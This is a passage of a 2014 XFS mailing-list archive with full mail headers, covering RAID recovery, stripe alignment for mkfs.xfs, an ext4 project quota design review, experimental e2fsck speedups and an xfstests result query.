cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60E9030407A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 09:42:55 -0800 (PST) X-ASG-Debug-ID: 1391017370-04cbb05baa1ef120001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id vPETxuk1Dz2SrIs2 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 09:42:50 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 8217B2C44E; Wed, 29 Jan 2014 12:42:50 -0500 (EST) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id B455A2C30D; Wed, 29 Jan 2014 12:42:48 -0500 (EST) Date: Wed, 29 Jan 2014 18:42:50 +0100 From: Emmanuel Florac <eflorac@intellique.com> To: sillero@torroja.dmt.upm.es Cc: Roger Willcocks <roger@filmlight.ltd.uk>, guillem <guillem@torroja.dmt.upm.es>, xfs@oss.sgi.com Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed Message-ID: <20140129184250.7af7200f@harpe.intellique.com> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: <1391014448.2573.95.camel@islero.dmt.upm.es> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> <1391014448.2573.95.camel@islero.dmt.upm.es> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1391017370 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Wed, 29 Jan 2014 17:54:08 +0100 "Juan A. Sillero" <sillero@torroja.dmt.upm.es> =E9crivait: > We'd like to know your opinion about what to do next. The data is > still probably on the disks, but the RAID topology is gone. We'd > also like to know if someone has experienced a similar hardware > problem that could give us some advice. I tought it was a dmraid raid 5 device? If it's a RAID controller, what brand/model is it?=20 At this point you could give a try to UFS Explorer. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | <eflorac@intellique.com> | +33 1 78 94 84 02 ------------------------------------------------------------------------ From chamill@wesleyan.edu Wed Jan 29 13:12:05 2014 Return-Path: <chamill@wesleyan.edu> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D3F6A7F86 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:12:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B410A8F8066 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:12:02 -0800 (PST) X-ASG-Debug-ID: 1391022720-04bdf0122002de0001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id MlJaKSRYyZIPe191 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:12:01 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s0TJBxhi002716 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:11:59 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391022719; bh=XL8m3/AuAVMcq0de5f9ehctgTCcgCue5WdkgrrAW4sc=; h=From:To:In-reply-to:Subject:References:Date; b=CPGnZjGuyDUuiRnkOfSG/D5KM4WmPr3sbVGbScaWKqiVZz7hXDddkY9psIbpaYyPj V5w4r8VQE3RuWWpr3hCWX85pUEVBOpV/mf242t+oRZTcfaadd87tev+2t8Noebftv7 x391AU8La/dk95kZ8bVROuohbnfQ70dUrhKK8Gdg= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" <chamill@wesleyan.edu> To: xfs <xfs@oss.sgi.com> In-reply-to: <52E91923.4070706@sandeen.net> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Wed, 29 Jan 2014 14:11:59 -0500 Message-Id: <1391022066-sup-5863@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s0TJBxhi002716 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1391022721 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144613 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Thanks for the quick reply. Excerpts from Eric Sandeen's message of 2014-01-29 10:07:15 -0500: > The stripe unit and width are units of geometry of the underlying > storage; a filesystem will span some number of stripe units, depending > on its size. > > So no, the filesystem's notion of stripe geometry does not change > with the filesystem size. > > You do want to make sure that stripe geometry is correct and aligned > from top to bottom. Just to make sure I've understood, for 3 14-disk RAID 6 groups striped together into a single RAID 60, with stripe units of 128k, split up into some number of LVM logical volumes, I'd create the filesystems with the following: mkfs.xfs -d su=128k,sw=36 ... for all of the filesystems, regardless of how many and what size they were. Does that sound right? > I helped write up the RHEL storage admin guide, and there are some > nice words about geometry and alignment in there: > > https://access.redhat.com/site/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ch-iolimits.html Thanks for the resource! -- Morgan Hamill From darrick.wong@oracle.com Wed Jan 29 13:20:30 2014 Return-Path: <darrick.wong@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B00E07F8A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:20:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4A35BAC009 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:20:27 -0800 (PST) X-ASG-Debug-ID: 1391023224-04cbb00c2a02900001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yvaMWkTp3xOHZMaG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 11:20:24 -0800 (PST) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0TJKGNf004282 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 19:20:17 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TJKEwh003474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 19:20:16 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TJKEYf007221; Wed, 29 Jan 2014 19:20:14 GMT Received: from localhost (/67.160.151.179) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 29 Jan 2014 11:20:14 -0800 Date: Wed, 29 Jan 2014 11:20:12 -0800 From: "Darrick J. Wong" <darrick.wong@oracle.com> To: linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, "Theodore Ts'o" <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Jan Kara <jack@suse.cz>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140129192012.GB8798@birch.djwong.org> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota References: <20140128064248.GA8653@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140128064248.GA8653@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391023224 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Jan 28, 2014 at 02:42:49PM +0800, Zheng Liu wrote: > Hi all, > > Here is a draft about ext4 project quota. After discussed in another > thread [1], I believe that we have reached a consensus for supporting > project quota in ext4 and keep consistency with xfs. Thus I write this > draft. As always, comments, suggestions and ideas are welcome. > > 1. http://www.spinics.net/lists/linux-ext4/msg41275.html > > Ext4 Project Quota (ver. 0.10) > > Goal > ==== > > The goal is to make ext4 support project quota which keeps the same > behaviour with xfs. After adding this new feature, we can support > directory quota based on it. > > Background > ========== > > The project quota is a quota mechanism can be used to implement a form > of directory tree quota, where a specified directory and all of the > files and subdirectories below it (i.e. a tree) can be restricted to > using a subset of the available space in the filesystem [2]. > > *Note* > Project quota is not directory quota. Project quota is an aggregation > of unrelated inodes with the same id (e.g. project id). That means that > some directories without the common parent directory could have the same > id and are accounted as the same quota. > > Currently xfs has supported project quota several years, and has a mature > interface to manage project quota on kernel and userspace side. After > discusstion we believe that we should use the same quota API for project > quota on ext4. Now xfs_quota (userspace tool for managing xfs quota) is > used to get/set/check project id, which communicates with kernel via > ioctl(2). For quota management, xfs_quota uses Q_X* via quotactl(2) to > manipulate quota. A XFS_DIFLAG_PROJINHERIT flag is defined in xfs to > mark a directory that new file and direcotry created in this directory > will get marked with this flag. > > For project quota, the key issue is how to handle link(2)/rename(2). We > summarize the behaviour in xfs as following. > > *Note* > + unaccounted dir > x accounted dir > > link(2) > ------- > + x > + ok error (EXDEV) > x ok error (EXDEV) > > rename(2) > --------- > + x > + ok ok > x wrong ok > > Further, project quota *cannot* be used with group quota at the same time. > On the other hand user quota and project quota can be used simultaneously. > > 2. http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F > > Design > ====== > > Project id > ---------- > We have two options to store project id in inode. a) define a new member > in ext4_inode structure; b) store project id in xattr. > > Option a) > Pros: > * Only need 4 bytes if we use a '__le32' type to store it > > Cons: > * Needs to change disk layout of ext4 inode > > Option b) > Pros: > * Don't need to change disk layout > > Cons: > * Take 24 bytes > > Here I propose to use option *b)* because it is easy for us to support > project id and we don't need to worry about changing disk layout. But > I raise another issue here. Now inline_data feature has been applied. > After waiting inline_data feature stable, we'd better enable inline_data > feature by default when we create a new ext4 file system. Now the inode > size is 256 bytes by default, we have 72 bytes extra size to store > inline data: > 256 (default inode size) - > 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + > 20 (ext4_xattr_entry) + 4 (value) = 72 > > If we store project id in xattr, we just leave 48 bytes for inline data. > I am not sure whether or not it is too small for some users. Yeesh, that's not a lot of space. :) I think I like enlarging the inode better. Or, reusing empty fields. Does anyone actually use i_obso_faddr? A quick Google search doesn't show any source code using it... Are you introducing a new feature flag for this? I suppose an INCOMPAT feature would suffice to ward off anyone who /does/ use this field. > When we store project id in xattr, we will use {get,set}fattr to get/set > project id. Thus we don't need to change userspace tool to manipulate > project id. Meanwhile a _INHERENT flag for inode needs to be defined to > indicate that new directory creating in a directory with this flag will > get the same project id and get marked with this flag. > > Project quota API > ----------------- > For keeping consistency with xfs, here I propose to use Q_X* flag to > communicate with kernel via quotactl(2) as we discussed. Due to this we > need to define some callback functions to support Q_X* flag. That means > that ext4 will support two quota flag sets for being compatible with > legacy userspace tools and use the same quotactl API to communicate with > kernel for project id like xfs. > > Currently quota subsystem in vfs doesn't handle project quota. Thus we > need to make quota subsystem handle project id properly (e.g. > dquot_transfer, dquot_initialize). We need to define a new callback > function in order to get project id. Now in vfs we can access uid/gid > directly from inode, but we have no way to get project id. A generic > callback function is defined to handle uid/gid. The file system itself > can handle project id. Until now only ext4 needs to implement this > callback function by itself because xfs doesn't use vfs quota subsystem. > > For handling link(2)/rename(2) like xfs, we only allow hard link or > rename operation when the project ids are the same. Otherwise we will > return EXDEV error to notify the user. > > Quota-tools > ----------- > Now quota-tools (e.g. quotaon, edquota, etc...) don't support project > quota. Thus we need to make it support project id. I believe that Li > Xi did some works on quota-tools. > > E2fsprogs > --------- > After supporting project quota, we need to change e2fsck(1) to make sure > that all sub-directories with _INHERENT flag have the same project id. > Meanwhile we need to make chattr(1) set/clear _INHERENT flag. I'm confused about the use of 'inherent' here -- since this flag establishes that all files underneath it will have the same project ID, perhaps this flag should be named "inherit" ? (Also because the XFS flag is 'inherit', not 'inherent'.) --D > > Regards, > - Zheng > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From darrick.wong@oracle.com Wed Jan 29 13:45:48 2014 Return-Path: <darrick.wong@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4753A7F61 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:45:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CA6AFAC009 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:45:47 -0800 (PST) X-ASG-Debug-ID: 1391024745-04cb6c6de103180001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Zza5mXXQSOuGH1tE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:45:45 -0800 (PST) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0TJjflK002303 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 19:45:42 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0TJjesH011814 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 19:45:41 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TJjemL006155; Wed, 29 Jan 2014 19:45:40 GMT Received: from localhost (/67.160.151.179) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 29 Jan 2014 11:45:39 -0800 Date: Wed, 29 Jan 2014 11:45:38 -0800 From: "Darrick J. Wong" <darrick.wong@oracle.com> To: Dave Chinner <david@fromorbit.com> Cc: "Theodore Ts'o" <tytso@mit.edu>, linux-ext4@vger.kernel.org, xfs@oss.sgi.com Subject: Re: FAST paper on ffsck Message-ID: <20140129194538.GC8798@birch.djwong.org> X-ASG-Orig-Subj: Re: FAST paper on ffsck References: <20131209180149.GA6096@thunk.org> <20131212053047.GI31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212053047.GI31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391024745 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Thu, Dec 12, 2013 at 04:30:47PM +1100, Dave Chinner wrote: > On Mon, Dec 09, 2013 at 01:01:49PM -0500, Theodore Ts'o wrote: > > Andreas brought up on today's conference call Kirk McKusick's recent > > changes[1] to try to improve fsck times for FFS, in response to the > > recent FAST paper covering fsck speed ups for ext3, "ffsck: The Fast > > Filesystem Checker"[2] > > > > [1] http://www.mckusick.com/publications/faster_fsck.pdf > > [2] https://www.usenix.org/system/files/conference/fast13/fast13-final52_0.pdf > > Interesting - it's all about trying to lay out data to get > sequential disk access patterns during scanning (i.e. minimise disk > seeks) to reduce fsck runtime. Fine in principle, but I think that > it's a dead end you don't want to go down. > > Why? Because it's the exact opposite of what you need for SSD based > filesystems. What fsck really needs is to be able to saturate the > IOPS capability of the underlying device rather than optimising for > bandwidth, and that means driving deep IO queue depths. > > e.g I've dropped xfs_repair times on a 100TB test filesystem with 50 > million inodes from 25 minutes to 5 minutes simply by adding gobs of > additional concurrency and ignoring sequential IO optimisations. > It's driving bandwidth rates of 200-250MB/s simply due to the IOPS > rate it is acheiving, not because I'm optimising IO patterns for > sequential IO. > > In fact, it dispatches so much IO now that the limitation is not the > 60,000 IOPS that it is pulling from the underlying SSDs, but > mmap_sem contention caused by 30-odd threads doing concurrent memory > allocation to cache and store all the information that is being read > from disk... I've created a couple of experimental patches to speed up e2fsck. The first patch creates a new IO manager that mmap()s the device and simply memcpy()s buffers in and out to do IO. The second patch spawns a bunch of threads that split up the work of scanning each block group in the hopes of faulting in all the metadata off the disk ahead of the main e2fsck thread. The upside is that on a cold system, the patches reduce e2fsck running time on HDD RAIDs and SSDs by 30-40%. On a warm system there's not much advantage. The downside is that fsck tends to crash when it writes anything out. I've been meaning to send this out after I fix the write crash, but I've been occupied with other things at work. :/ There's also a horrible case where on a disk where can_queue = 1, the disk mostly just thrashes like mad and takes several times longer than regular fsck. I could be wrong about that; I don't know if it's really can_queue = 1 or simply having only one disk head that's the cause. <shrug> I'll clean 'em up and send an RFC. --D > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From alex@zadarastorage.com Wed Jan 29 13:55:09 2014 Return-Path: <alex@zadarastorage.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 68D0E7F80 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 13:55:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E928DAC00A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:55:08 -0800 (PST) X-ASG-Debug-ID: 1391025306-04cbb00c2a03750001-NocioJ Received: from mail-wg0-f50.google.com (mail-wg0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id KoRRaVRmEzC6NaJz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:55:07 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wg0-f50.google.com with SMTP id l18so4433492wgh.17 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 11:55:06 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=ywiC2fuMqdz6Fz1YnNwd6eXMjWqflUw+p6PscwInuOk=; b=m+9iSrDBjklUv73kKee3yCq2qqCU1OYZpuPD+eGdSkEhFgLkYYKzfifenZ+XS/YZSN T5QOOx7y61he1sOTeG32p2JttJ5am+wjEf9pe+7ivL5cXTHoMIL6N5Tjj1iu5Jirrnbb 9PfbkozMU5UlHO9hXyfNCnrbTqhodfX/7hIX15ylz0dNCVapnxyja+EseffUhI1ryM4a WuV48nu78+4+GGP8ekAsmfNTCmh6zOhyjXX9emQSEuOCjRQCNDNktl+BEF8mhQA8rNLY Jndo5DSdKtqAdUYRJyW3go6LkYcqB3mk2U+SsguBRn4cdeuVRhx7nSucjKizntIVneVp cC5A== X-Gm-Message-State: ALoCoQlx83oZgYwGKUFiXLq05zH1Vw7mvKsfl7xn5Hql+F2zoSElG6L3FZr4NSz1FihXqbBFBhdl MIME-Version: 1.0 X-Received: by 10.180.97.37 with SMTP id dx5mr6864622wib.53.1391025305870; Wed, 29 Jan 2014 11:55:05 -0800 (PST) Received: by 10.194.169.132 with HTTP; Wed, 29 Jan 2014 11:55:05 -0800 (PST) In-Reply-To: <20140124025846.GL27606@dastard> References: <20140124025846.GL27606@dastard> Date: Wed, 29 Jan 2014 21:55:05 +0200 Message-ID: <CAOcd+r1wUaMyrhvkq++WoswM1ND9+VZJNx0mZeC1Uiu663xbtg@mail.gmail.com> Subject: Re: [ANNOUNCE] xfstests updated to 197f773 From: Alex Lyakas <alex@zadarastorage.com> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfstests updated to 197f773 To: Dave Chinner <david@fromorbit.com> Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wg0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1391025306 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144615 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, are all tests in xfstests (those relevant for XFS) in principle supposed to pass on XFS? I am running these tests on a pristine XFS from kernel 3.8.13 (srcversion 9862FA08CF42E06A4151111) and I get: root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# ./check tests/generic/013 FSTYP -- xfs (non-debug) PLATFORM -- Linux/x86_64 vc-13-12-1095-35-dev 3.8.13-030813-generic MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb MOUNT_OPTIONS -- /dev/vdb /mnt/SCRATCH_DIR generic/013 34s _check_xfs_filesystem: filesystem on /dev/vda is inconsistent (c) (see /mnt/work/alex/xfstests/results//generic/013.full) Ran: generic/013 Passed all 1 tests root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# echo $? 1 Thanks, Alex. On Fri, Jan 24, 2014 at 4:58 AM, Dave Chinner <david@fromorbit.com> wrote: > Hi all, > > The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has > just been updated. Patches often get missed, so please check if your > outstanding patches were in this update. If they have not been in > this update, please resubmit them to xfs@oss.sgi.com so they can be > picked up in the next update. > > The new head of the master branch is commit: > > 197f773 xfstests: define $seqres in btrfs/026-029 > > New Commits: > > Dave Chinner (7): > [ea0b6eb] xfs: test scratch device mkfs features > [b9b5d74] xfs: New _require_* tests for CRC enabled filesystems > [86e91cc] xfs: add fsstress/recovery test > [5b524ee] xfs/073, 208: remove .full output before starting the test > [b04b0fd] xfs: support xfs_metadump with external logs > [3ed573e] xfs/104: use fixed log size > [7657a10] generic/204: use fixed log size for XFS > > David Sterba (3): > [80622a6] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 > [586a06c] xfstests: use value of FSTYP if defined externally > [1ed9046] xfstests: clean command names in btrfs tests > > Eric Sandeen (1): > [a93b1dd] ext4: regression test for ext4 resize with non-extent files > > Filipe David Borba Manana (1): > [8c427eb] xfstests: add test for btrfs incremental send infinite loop issue > > Koen De Wit (2): > [0c58766] xfstests: btrfs: cross-subvolume sparse copy > [197f773] xfstests: define $seqres in btrfs/026-029 > > > Code Diffstat: > > README | 3 ++ > check | 13 ++--- > common/attr | 6 +++ > common/rc | 122 +++++++++++++++++++++++++++--------------- > tests/btrfs/003 | 2 +- > tests/btrfs/004 | 2 +- > tests/btrfs/007 | 4 +- > tests/btrfs/008 | 12 ++--- > tests/btrfs/009 | 6 +-- > tests/btrfs/013 | 2 +- > tests/btrfs/014 | 6 +-- > tests/btrfs/015 | 2 +- > tests/btrfs/016 | 14 ++--- > tests/btrfs/017 | 2 +- > tests/btrfs/019 | 14 ++--- > tests/btrfs/022 | 6 +-- > tests/btrfs/024 | 2 +- > tests/btrfs/025 | 4 +- > tests/btrfs/026 | 1 + > tests/btrfs/027 | 1 + > tests/btrfs/028 | 1 + > tests/btrfs/029 | 1 + > tests/btrfs/030 | 149 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/030.out | 1 + > tests/btrfs/031 | 138 ++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/031.out | 48 +++++++++++++++++ > tests/btrfs/group | 2 + > tests/ext4/306 | 82 +++++++++++++++++++++++++++++ > tests/ext4/306.out | 13 +++++ > tests/ext4/group | 1 + > tests/generic/204 | 4 ++ > tests/generic/208 | 2 + > tests/shared/298 | 2 +- > tests/xfs/073 | 2 + > tests/xfs/104 | 2 +- > tests/xfs/186 | 1 + > tests/xfs/187 | 32 ++++++----- > tests/xfs/244 | 1 + > tests/xfs/253 | 3 +- > tests/xfs/278 | 1 + > tests/xfs/287 | 3 +- > tests/xfs/291 | 4 +- > tests/xfs/306 